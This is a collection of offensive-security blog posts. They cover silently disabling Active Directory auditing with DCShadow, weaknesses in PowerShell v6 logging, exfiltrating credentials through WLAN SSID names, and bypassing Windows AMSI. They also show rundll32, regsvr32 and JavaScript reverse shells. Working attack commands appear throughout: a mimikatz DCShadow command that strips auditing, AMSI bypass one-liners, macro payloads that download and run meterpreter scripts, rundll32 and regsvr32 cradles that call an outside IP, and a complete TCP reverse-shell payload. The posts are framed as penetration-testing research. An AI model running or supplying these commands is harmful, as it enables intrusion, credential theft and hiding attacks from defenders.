Silently turn off Active Directory Auditing using DCShadow

My fascination with DCShadow continues, thanks to Vincent and Benjamin. I blogged about it previously as well.

One very interesting thing which I recently discovered is the ability to DCShadow to modify System Access Control List or SACL. When we enable auditing on success or failure on an AD object, an entry (called ACE - Access Control Entry) is added to the SACL of that object. The permissions to an object are controlled by a DACL. For example, we modified DACL of AdminSDHolder in the previous post for persistence.

The Problem

So, SACL controls auditing (logging) for an AD object. This means if we would like to avoid logs for our activities during an assessment , we should turn it off at the very first chance. Right? But is it that easy?

Let's assume that full auditing is turned on the AdminSDHolder container and even a read operation is logged. This is what the SACL looks like:

The SACL governs logging of stuff. For example, with the above auditing settings, if we add Full Control rights for a user to the AdminSDHolder for persistence, an Event ID 4662 is logged:

Now, we would like to turn auditing off for the AdminSDHolder object so that the above logs are avoided. Right? Right? ;)

This can be done by removing the ACEs. But it is not as silent as we would like it to be. Removing ACEs results in more 4662s:

In case we were targeting a user object and remove auditing for it, a 4738 (User Account Management) in addition to multiple 4662s is logged.

The Solution

Now, how does DCShadow help? Try the below commands to set ACL of the AdminSDHolder to turn off the enhanced auditing:

mimikatz # lsadump::dcshadow /object:"CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com" /attribute:ntSecurityDescriptor /value:"O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;LCRPLORC;;;RU)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-519)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;PS)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)S:PAI(AU;CIFA;DT;;;WD)"

Bingo! No logs for turning off logging. Of course, I cannot show you no logs :P But we can see the new SACL:

Please note that we will still have logs related to DCShadow (4742 for the Computer registered as DC and 4662 for the domain object) but nothing else.

Note that the auditing entry in the above is S:PAI(AU;CIFA;DT;;;WD)

What does that mean?
S: - SACL
PAI -  Inheritance from higher up objects is blocked
AU - System Audit
CI - Container Inherit - The child objects inherit this.
FA - Audit Failure
DT - Delete Tree - No specific reason for using this other than chances of this being logged are low.
WD - Everyone
If you are not familiar with SDDL, go through these Technet posts to begin: The Security Descriptor Definition Language of Love (Part 1) and Part 2.

So why the above entry? No special reason. I thought, it would be better to leave an entry than removing all of it. If you want an ineffective SACL use just S:PAI. This is how it looks in the GUI:

You can use the below code for reading existing ACLs for an object. To easily get the desired ACE, set it up using GUI and then read the entries using the below code:

PS C:\> Import-Module ActiveDirectory
PS C:\> (Get-Acl 'AD:\CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com' -Audit).SDDL

Further Research

This is sweet but there are so many chances of further research on this. Like, there is still a single 4662 logged when mimkatz does "Attributes Checking" before we push the attributes. I read the source code of mimikatz and tried to avoid that read, but no success.

Also, I cannot find a way to turn off default SACL for the domain object. In theory, this should be easily doable with similar commands we used above!

Also, there are detections based on absence of logs as well. Unless we go for minimal modification to auditing we will still be detected.

Hope you liked the post :)

A Critique of Logging Capabilities in PowerShell v6

PowerShell 6 was released couple of days back. PowerShell v6 is the core version, that is, it is open source, cross platform and it is NOT Windows PowerShell which continues to be the default one on Windows. As per this blog by PowerShell Team, going forward, PowerShell core is the future (Windows PowerShell will still get critical bug-fixes.)

PowerShell Team, over past 2-3 years, has constantly improved the security controls in PowerShell. The defining moment was, of course, PowerShell ♥ the Blue Team where the PowerShell Team detailed many interesting features like System-wide Transcription, Deep Script Block Logging, AntiMalware Scan Interface, Protected Event Logging, Constrained Language Mode (with Applocker "Allow" mode) etc. Comparing PowerShell v2 - which comes installed by default in Windows 7 - with PowerShell 5.1 which is the default for Windows 10, the effort to restrict, track and log PowerShell usage on a box is clearly visible and effective.

Having used PowerShell for 7+ years for red team assessments and penetration tests, I look forward to every major release of PowerShell to change and upgrade my techniques and methodologies. With PowerShell 5.1, as an attacker, I am actually afraid that whatever I do on a foothold or launchpad box may be logged and (hopefully) monitored. During my Offensive PowerShell and Active Directory training, the attendees who are industry practitioners and researchers, always appreciate the logging capabilities of PowerShell and try to implement them in their organization's networks.

But with PowerShell v6, PowerShell logging features have been drastically reduced! This is almost certainly because v6 is based on .NET Core but there has been no authoritative word about it. This post is to compare the most interesting logging capabilities of PowerShell v6 with Windows PowerShell 5.1.

Deployment

All the enhanced logging capabilities PowerShell has, can be deployed using Group Policy. But this doesn't hold true for v6! To enable whatever logging for v6, a script RegisterManifest.ps1 (found in the $PSHOME directory) needs to be executed on each machine to register PowerShellCore event provider (PowerShell remoting can be used to run this script on scale). Thanks Satoshi for pointing this out.

The ability to configure logging from Group Policy is much easier to manage and harder to tamper with whereas the PowerShellCore event provider can be unregistered by using the "-UnRegister" parameter of the script.

System-wide Transcription

When System-wide transcription is enabled, all the activity for every PowerShell host (powershell.exe, powershell_ise.exe, System.Management.Automation.dll or other custom host) is logged to the specified directory or the user's "My Documents" directory if none is specified. With proper implementation, that is, forwarding logs to secure storage and correlation, system-wide transcription could be very effective in detecting PowerShell attacks. 

This is how system-wide transcription looks like for PowerShell 5.1 (The execution is using InstallUtil)

PowerShell v6 does not support system-wide transcription.

Script Block Logging

PowerShell v5.1 has two types of script block logging: Warning level auto logging and Verbose logging that can be configured. Warning level auto logging logs known bad/suspicious commands and script blocks and logs them in Microsoft-Windows-PowerShell/Operational log as Event ID 4104 Warning. When Verbose logging is turned on, which can be done using Group Policy, PowerShell commands are logged as Event ID 4104 Verbose.

Yes, there are public bypasses for script block logging as blogged by Ryan Cobb here and here, still, it increases attacker costs.

PowerShell v6 has no automatic script block logging. But when The PowerShellCore provider is created, the suspicious script blocks are logged with Event ID 4103 in the PowerShellCore logs.

 

Interestingly, while testing the warning level logs, I found out that v6 excels over v5.1 and logs less false positives. For example, one of suspicious strings (see code here) "GetMembers" is logged by 5.1 even if it is just executed senselessly.

But in case of v6, the above is not logged unless, there is a proper use of "GetMembers".

I find this very interesting and will have an in-depth look at it later on. May be, it could help in some interesting findings.

AntiMalware Scan Interface (AMSI)

AMSI provides the content of a script tor script block to the registered antivirus before execution takes place. This enables the antivirus to detect known bad scripts and script blocks regardless of input method (disk, memory, manual) and even encoded and obfuscated scripts. I spoke about AMSI at BlackHat USA 2016 and did a detailed blog post.

Fortunately, AMSI is enabled for PowerShell v6 as well. Although, Matt's bypass still works with just a minor modification.

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)

But, once again, since it still increases cost to an attacker, its great to have AMSI in v6.

Constrained Language Mode

If "Allow mode" is enforced for Applocker or Device Guard, PowerShell is restricted automatically to the Constrained Language Mode which restricts Windows API, interaction with COM etc. See Language Modes

That is not the case with v6!

 

Introducing the PowerShell Upgrade Attack

PowerShell downgrade attack is popular with red teams. If you can run PowerShell v2, ALL security measures we have seen are bypassed as v2 simply doesn't support them. Lee provided an excellent guide on how to detect and prevent such attacks. If v2 is blocked or no required .NET version is installed, what to do? Simply run pwsh from your PowerShell session and you will drop in a new PowerShell session (v6 - if installed) which has minimal security features compared to v5/5.1. I am calling it the PowerShell Upgrade Attack :P. On a serious note, please keep in mind that Windows PowerShell - with enhanced logging - is the default one on Windows OS. Also, v6 is not an update, it needs to be installed separately. Windows PowerShell and PowerShell Core can be installed on a single machine and both will work independently.

So, what next?

I hold the PowerShell Team in high regard (for creating such a useful tool, being open to criticism and acting on the feedback) and quite confident (and hope) that they will address these shortcomings soon. Jeffery already tweeted that the Constrained Language Mode will be fixed in 6.1. But, if your production environment is working fine with Windows PowerShell v5/5.1, I would not advise to install v6 on any system (at least not the production ones).

UPDATE (25-Jan-2018) - The PowerShell Core Roadmap is published and there is no mention of bringing Core logging in parity with Windows PowerShell 5.1. Thankfully, the DeviceGuard/Applocker policy enforcement will get fixed.

Exfiltration of User Credentials using WLAN SSID

I was playing with Windows Hosted Network feature couple of days back. A hopefully useful idea which came to my mind was using the name of the hosted SSID for exfiltration. Since, SSID names support maximum 32 bytes the choice of data to exfiltrate is not really wide. Something like user credentials is small enough to fit in this limited space.

I wrote a PowerShell script which allows use to exfiltrate data using only SSID names. I give you Invoke-SSIDExfil.ps1. Here is the source code. This script provides for multiple options to exfiltrate data. Since, we are mostly after user credentials, the script uses logic from Invoke-CredentialsPhish to show a credentials prompt to the user to capture credentials in clear text. The captured credentials are then encoded using ROT13 (not going to call ROT13 encryption though that may be the technically correct term) and a Windows Hosted Network is created and started with SSID name set as to the encoded value in the form Domain:Username:Password. Below is the script in action. Please note that the script must be executed from an elevated shell:

PS C:\> Invoke-SSIDExfil -Verbose

And this is how  - if we are in physical proximity of the target - the SSID looks like:

Now, we can decode the user credentials using Invoke-SSIDExfil script's -Decode option.

Neat! From my past experience, such scripts are useful for impressive demonstrations.

The script can be used as a payload in targeted client side attacks, Human Interface Devices (Kautilya), authenticated command execution and other techniques.

Using the -StringToExfiltrate and -ExfilOnly parameters, it is also possible to exfiltrate a small piece of data without showing a credential prompt to the user.

An update to the Gupt-Backdoor

While working on this script, I revisited Gupt-Backdoor. That backdoor is quite impressive as well when it comes to demonstrations. I blogged about it here. An improvement to that backdoor has been added which allows to pass a one line PowerShell downloand and execute cradle for PowerShell v3 onwards. Also, ROT13 encoding has been implemented to make SSID names less suspicious. Below command can be used to start the backdoor on a target and tell that an encoded command will be provided to it:

PS C:\> Gupt-Backdoor -MagicString op3n -EncodedCmd -Verbose

And this is how a Wireless AP can be started to send instructions to the backdoor.

And the execution looks like below. The backdoor downloads and executes Get-WLAN-Keys from Nishang:

Small but useful improvements!

Hope you enjoyed the post! Please leave feedback and comments.

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It

Update (23-Dec-2016) - I have implemented the publicly known AMSI bypasses described in this post in a PowerShell script Invoke-AmsiBypass. Check it out here https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1


Last month I gave a talk about Microsoft's AntiMalware Scan Interface (AMSI) at Black Hat USA. The talk and this post details my experiments with AMSI.

I first encountered AMSI while using some of the PowerShell scripts from Nishang on a Windows 10 box in my lab. I noticed that some of the scripts didn't work even if loaded from memory which was very interesting. Being a long time user of PowerShell in my pen tests, I was interested in the technique being used to detect scripts from Nishang in memory. After a quick search, I stumbled upon this excellent TechNet article which introduces AMSI. From that article, this article and documentation of AMSI, following detection abilities and features are claimed with AMSI:

• Memory and Stream scanning. This means that the input method - disk, memory/stream or manual input makes no difference on the detection capabilities.
• Scripts are submitted to the AntiVirus/AntiMalware product by AMSI when the de-obfuscated plain code is presented to the script host. This means that obfuscation should help only to a limited extent.
• Since the scripts are "picked up" when submitted to the scripting host, code which doesn't utilize powershell.exe but uses System.Automation DLL will also be analyzed.

And when I tested AMSI with different tools and techniques, detection rate was indeed better than what I expected.

Major techniques which were tested and detected by AMSI:

Executing scripts from memory - Using the -EncodedCommand parameter of powershell.exe and the famous one liner download-execute.

Execution of everyone's favorite, Invoke-Mimikatz:
When AMSI was disabled:

PS C:\> Set-MpPreference -DisableIOAVProtection $true

When AMSI was enabled (default on Windows 10):

Executing scripts without using powershell.exe - Using separate runspace (p0wnedshell, psattack) and using System.Automation.Dll (nps, Powerpick)

Unusual Storage - Scripts loaded from WMI namespaces, Registry Keys and Event Logs.

Application whitelisting bypass methods - InstallUtil, regsrv32 and rundll32

All of the techniques were detected by AMSI! While the detection was no surprise given that AMSI steps in at the script host level, still, this looked intimidating! More so because Windows Defender supports AMSI by default on Windows 10.  I quickly started looking for different ways to avoid or bypass AMSI.  Turned out that there are bunch of techniques that can be used to bypass or avoid AMSI.

Bypass or Avoid AMSI

Force use PowerShell v2: PowerShell v2 doesn't support AMSI at the time of writing. If .Net 3.0 is available on a target Windows 10 machine - which is not default - PowerShell v2 can be started  with the -Version option.

 

Obfuscation

Another interesting way is to change the signature of the PowerShell script so that the AntiVirus to which AMSI submits our script doesn't detect it as malicious. To play with the signatures Windows Defender have for scripts, lets play with one of the scripts from Nishang, Gupt-Backdoor, which gets detected as malicious by AMSI.

Lets remove the help section, all the functionality and replace the function and variable names with random strings.

 And the result is:

Apparently, among other things, Windows Defender looks for specific function and variable names. Actually, this should not be a surprise as I know of few antiviruses which use Twitter handles of PowerShell hackers as a signature.

Manual obfuscation of a huge script such as Invoke-Mimikatz could not be done manually. Fortunately, the obfuscate functionality of the awesome ISE-Steroids module is very effective! Lets obfuscate Invoke-Mimikatz from Nishang.

Now, when the obfuscated version is loaded, there is no detection.

Bingo!

Make sure that the function calls are made from the script before obfuscation. 
This is very interesting! As per the articles mentioned at beginning of this post, AMSI has additional calls if any sort of obfuscation, even base64, is used in the script.This obfuscation getting past AMSI has been a sort of mystery for me.This probably has more to do with the signatures available with Windows Defender than with AMSI. I welcome comments on this specific thing as I am unable to understand why Invoke-Mimikatz was not detected if the plain de-obfuscated code was submitted to AMSI.

Unload AMSI

Set-MpPreference
This built-in cmdlet can be used to make AMSI ineffective by disabling protection offered by Windows Defender.

Below command can be used to disable real time monitoring for Windows Defender

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true

There are some 'gotchas' with the technique though:

• A notification is shown to the user
• Needs to be run from an elevated shell
• Event ID 5001 (Microsoft-Windows-Windows Defender/Operational) - Windows Defender Real-Time Protection was disabled.

Another command can be used, this is useful for avoiding detection of in-memory download execute one liner.

PS C:\> Set-MpPreference -DisableIOAVProtection $true

This command doesn't show any notification to the user but:

• An elevated shell is still required and;
• Event ID 5004 (Microsoft-Windows-Windows Defender/Operational)  - Windows Defender Real-Time Protection feature (IE Downloads and Outlook Express attachments) configuration has changed.

DLL Hijacking - Method used in p0wnedshell

Cornelis de Plaa (@Cneelis) discovered this brilliant method and implemented it in his awesome p0wnedshell. There is a detailed blog post about the method. It is a DLL hijacking method where amsi.dll is dropped in the current working directory while loading the p0wnedshell runspace. The dll is loaded by the runspace and exits immediately to unload AMSI. 

So p0wnedshell successfully bypasses AMSI. But there is another interesting part of the security mechanism, PowerShellv5 supports automatic script block logging. The scripts loaded by p0wnedshell generate Event ID 4104 (Microsoft-Windows-PowerShell/Operational) – Suspicious script block logging (due to successful loading of scripts in memory).

Reflection - Matt Graeber's method
Matt Graeber (@mattifestation) tweeted an awesome one line AMSI bypass. Like many other things by Matt, this is my favorite. It doesn't need elevated shell and there is no notification to the user but the automatic script block logging, like in the case of p0wnedshell, generates Event ID 4104. Turns out that it is the script block logging which is the real headache. There are a bunch of script logging bypasses I am aware of, discovered by other PowerShell hackers, but not public yet.

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Anyway, I like this method because it can be used with existing PowerShell script execution methods.
For example, lets bypass AMSI using a client side attack and get a meterpreter on the target Windows 10 box. Lets generate a weaponized MS Word document using Nishang's Out-Word and instruct it to download and execute a PowerShell meterpreter.

PS C:\test> Out-Word -Payload 'powershell.exe -ExecutionPolicy Bypass -noprofile [Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);iex(New-Object Net.WebClient).DownloadString(''http://192.168.230.1/msfpayload.ps1'')' -RemainSafe

As soon as a target opens the Word file and click on "Enable Content", this happens:

Sweet! We bypassed AMSI in a client side attack!

AMSI is certainly not the security silver bullet which many organizations (wrongly) keep looking for but it is indeed an improvement in Windows security.

My slides for the Black Hat preso are here:
http://www.slideshare.net/nikhil_mittal/amsi-how-windows-10-plans-to-stop-scriptbased-attacks-and-how-well-it-does-it

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It from Nikhil Mittal

Hope this was useful. Please leave feedback and comments!

Practical use of JavaScript and COM Scriptlets for Penetration Testing

I have been following Casey Smith's brilliant work on JavaScript and COM Scriptlets. After looking at his work, I started playing with the code. I was interested in developing easy and customizable ways to use JavaScript, SCT files, rundll32 and regvr32 for...well...interesting things. After using some weeknights and weekends, I give you following PowerShell scripts (all available in Nishang):

 

Invoke-JSRatRundll

Based on JSRAT by Casey, Invoke-JSRatRundll uses rundll32.exe to execute JavaScript on a target which provides a Reverse PowerShell Shell over HTTP. Why? Because it is so cool. Also, it is file-less, the client part is just a single command and most importantly, another method to pwn targets :) The script and the client part are intelligent enough to figure out if there is a proxy in use and also to use first proxy from multiple proxies from Internet Explorer settings. Also, based on the method mentioned here, Invoke-JSRatRundll doesn't leaver rundll32.exe running on the target, when "exit" command is used from the spawned reverse shell, so a clean exit. 

The listener, on the attacker's machine, needs to be run from elevated PowerShell session.

This is how it looks like in action:

Start the listener

The above listener provides the following command to be run on a target. Please note that will need to remove newlines:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");try{q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){h.SetProxy(2,v);}}finally{h.Open("GET","http://54.93.72.226:8080/connect",false);h.Send();B=h.ResponseText;eval(B)}

When the command is executed on the target:

We get a connect back on the listener:

Nice! A proxy aware,  file-less, Reverse PowerShell Session.

The client part (one-line command) can be used whenever we have the ability to execute a command on the target. Below is an example of using the client part with Out-Word from Nishang. Note that the the double quotes in client part need to be escaped by using double-quotes two times.

When a target user opens the Word file and chooses to enable Macros, the listener will receive a connect back from the target machine. Bingo!

One thing to note in Invoke-JSRatRundll is that a window pops-up temporarily whenever a command is executed on the target. It is because of the use of Exec method of WScript. The Run method which provides for silent execution could not be used as it did not return the output without storing the output temporarily somewhere on the target.

 

Invoke-JSRatRegsvr

This script utilizes regsvr32.exe for providing a Reverse PowerShell session over HTTP. Use of regsvr32, the technique which has been termed as "Squiblydoo", has added benefits. regsvr32.exe takes care of proxy by itself, the execution is file-less and AFAIK, leaves no traces on the target after a clean exit. 

The listener needs to be run from an elevated PowerShell on the attacker's machine. This is how it looks like in action:

 The above listener provides the following command to be run on the target:

regsvr32.exe /u /n /s /i:http://54.93.72.226:80/file.sct scrobj.dll

As soon as the command is executed on a target, using a client side attack, or any other method:

Great!

This script also shows a window momentarily on the target machine for the same reason as Invoke-JSRatRundll

 

Out-RundllCommand

Use this script to generate rundll32.exe one line commands. The generated command can be used on a target to run PowerShell commands and scripts or a reverse PowerShell session over TCP.

Here is how to generate a command. 

Now, if the rundll32 command is executed on a target using client side attack or other methods, the payload will get executed.

During testing it was not possible to execute larger scripts (specially the encoded ones due to the increased length). The added advantage with this script is it can be used with a simple netcat listener on a Linux machine as well. There is no need to run a special listener unlike in the above two scripts.

Start a netcat/Powercat listener. Run Out-RundllCommand with the -Reverse switch:

 When the generated rundll32 command is executed on the target:

Nice!

Also, the execution is silent on the target machine. Please note that this script leaves rundll32.exe running on the target machine.

 

Out-JS

This script is useful for client side attacks. Using this script, we can create "weaponized" JavaScript files which can be sent to a target user to execute PowerShell scripts and commands. Once a user executes the file (a double click opens the file using Windows Script Host, wscript.exe), the specified payload gets executed on the target with the privileges of the current user. The default name of the generated file is Style.js. 

Once again, it was not possible to execute large scripts, therefore, there is no option of specifying a script path. An example is included in the script to execute a reverse PowerShell session over TCP.

Out-JS -Payload "`$sm=(New-Object Net.Sockets.TCPClient('192.168.230.154',443)).GetStream();[byte[]]`$bt=0..65535|%{0};while((`$i=`$sm.Read(`$bt, 0, `$bt.Length)) -ne 0){;`$d=(New-Object Text.ASCIIEncoding).GetString(`$bt,0, `$i);`$sb=(iex `$d 2>&1 | Out-String );`$sb2=`$sb + 'PS ' + (pwd).Path + '> ';`$sb=([text.encoding]::ASCII).GetBytes(`$sb2);`$sm.Write(`$sb,0,`$sb.Length);`$sm.Flush()}"

Out-SCT

This script generates a SCT file which can be used with regsvr32.exe to execute PowerShell scripts and commands. The default name of the generated file is UpdateCheck.xml. This file needs to be hosted on a web server and the one-liner regsvr is to be executed on the target.  Note that, in case a PayloadURL is provided, two connections are made from the target environment. This first one to pull the SCT file and the second one to download the PowerShell script.

Like Out-JS only small scripts can be executed using Out-SCT. An example is included in the help of this script which explains usage of a Reverse PowerShell session over TCP without having to download a script. 

Usage with metasploit

Some of the above scripts can be used to get a meterpreter session in the following ways:

Create a PowerShell meterpreter payload using msfvenom:

Host the generated payload on a web server.

Using Out-SCT
Pass the URL where meterprer PowerShell script is hosted to Out-SCT.

Now, host the generated SCT file on a web server. When the generated regsvr32 command is executed on a target, this will happen:

Awesome! A reverse HTTPS meterpreter from a file-less execution which is also helpful in avoiding Applocker!

Using Out-JS
Pass the URL to Out-JS.

When the generated Style,js is executed on a target, we will get a connect back on msfconsole!

Using Out-RundllCommand
Pass the URL to Out-RundllCommand.

Once again, when the generated rundll32 command is executed on a target, a meterpreter will pop-up in the msfconsole.

That is all for this post, all the scripts are available in the GitHub repository of Nishang. Hope you liked it. Please leave feedback and comments.

Join me for a two days training "Offensive PowerShell for Red and Blue Teams" at Shakacon, Honolulu (2 days - July 11th - 12th, 2016) - https://www.shakacon.org/trainings/offensive-powershell-for-red-and-blue-teams-by-nikhil-mittal/

References/Further Readings
Casey and some of his work:
https://twitter.com/subTee
http://subt0x10.blogspot.in/2016/04/setting-up-homestead-in-enterprise-with.html
https://github.com/subTee/SCTPersistence
https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302

Detailed blog on JSRAT
http://en.wooyun.io/2016/01/18/JavaScript-Backdoor.html

Defenses against regsvr32:
http://www.brimorlabsblog.com/2016/04/very-quick-blog-post-on-squiblydoo.html
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET#blocking-the-regsvr32-application-whitelisting-bypass-technique